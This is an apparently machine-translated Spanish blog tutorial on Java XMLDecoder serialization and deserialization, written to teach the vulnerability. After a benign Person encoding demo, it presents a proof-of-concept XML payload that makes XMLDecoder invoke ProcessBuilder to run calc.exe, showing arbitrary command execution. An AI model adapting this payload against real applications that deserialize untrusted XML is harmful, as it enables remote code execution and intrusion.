¿No es así, señor? ¿Aún no entiendes la deserialización?

0x01 Prefacio

Antes, hemos entrado en contacto con un tipo de deserialización relativamente básico y común en Java, pero la forma de deserialización en Java no es tan única, hoy quiero presentarles la serialización y deserialización de la clase XMLDecoder.

0x02 XMLDecoder introducción

Esta clase viene con jdk, la ubicación es java.beans.XMLDecoder, la serialización de esta clase es convertir objetos java en archivos xml, y la deserialización es convertir archivos xml en un formato específico en objetos java.

Todavía usamos una pequeña demostración para familiarizarnos con su uso.

Cree una clase, hay dos métodos en la clase, uno es la operación de serialización, el otro es la operación de deserialización

import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;

public class XMLTest{
    
    
    // 序列化对象到文件person.xml
    public void xmlEncode() throws FileNotFoundException {
    
    
        Person person = new Person();
        person.setAge(18);
        person.setName("axin");
        XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("person.xml")));
        xmlEncoder.writeObject(person);
        xmlEncoder.close();
        System.out.println("序列化结束!");
    }

    // 反序列化
    public void xmlDecode() throws FileNotFoundException {
    
    
        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("person.xml")));
        Person person = (Person)xmlDecoder.readObject();
        xmlDecoder.close();
        person.sayHello();
        System.out.println("反序列化成功!");
    }

    public static void main(String[] args) throws FileNotFoundException {
    
    
        XMLTest xmlTest = new XMLTest();
        xmlTest.xmlEncode();
        xmlTest.xmlDecode();
    }
}

La clase Person es la siguiente:

public class Person {
    
    
    String name = "";
    int age;

    public String getName() {
    
    
        return name;
    }

    public void setName(String name) {
    
    
        this.name = name;
    }

    public int getAge() {
    
    
        return age;
    }

    public void setAge(int age) {
    
    
        this.age = age;
    }

    public void sayHello(){
    
    
        System.out.println("Hello, my name is "+name);
    }
}

Ejecute la clase XMLTest, se generará un archivo person.xml en el directorio del proyecto actual y el terminal imprimirá el resultado de llamar al método sayHello

El formato de archivo xml generado por la serialización es el siguiente:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_231" class="java.beans.XMLDecoder">
 <object class="Person">
  <void property="age">
   <int>18</int>
  </void>
  <void property="name">
   <string>axin</string>
  </void>
 </object>
</java>

Deserialice el archivo xml anterior y luego ejecute el método sayHello

0x03 Cómo utilizar

Ya conocemos los métodos comunes de serialización y deserialización de XMLDecoder, entonces, ¿cómo usarlo?

Podemos usar su mecanismo de deserialización para ejecutar comandos arbitrarios de cualquier objeto, por ejemplo, construir el siguiente archivo xml:

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc.exe</string>
            </void>
        </array>
        <void method="start">
        </void>
    </object>
</java>

Si el archivo xml anterior está deserializado, ejecutará el método de inicio de ProcessBuilder y reproducirá una calculadora

otro

Este capítulo es solo un principio simple de deserialización de XMLDecoder. De manera similar, todavía encontraré un caso para ayudarlo a comprender la vulnerabilidad con mayor claridad. Por supuesto, si cambia la sopa sin cambiar la medicina, el escenario de la vulnerabilidad ha cambiado, pero la esencia no es Cambiado ~

En el próximo capítulo, echemos un vistazo a la vulnerabilidad de deserialización de XMLDecoder en weblogic.

Supongo que te gusta

Origin blog.csdn.net/he_and/article/details/107219395
Recomendado
Clasificación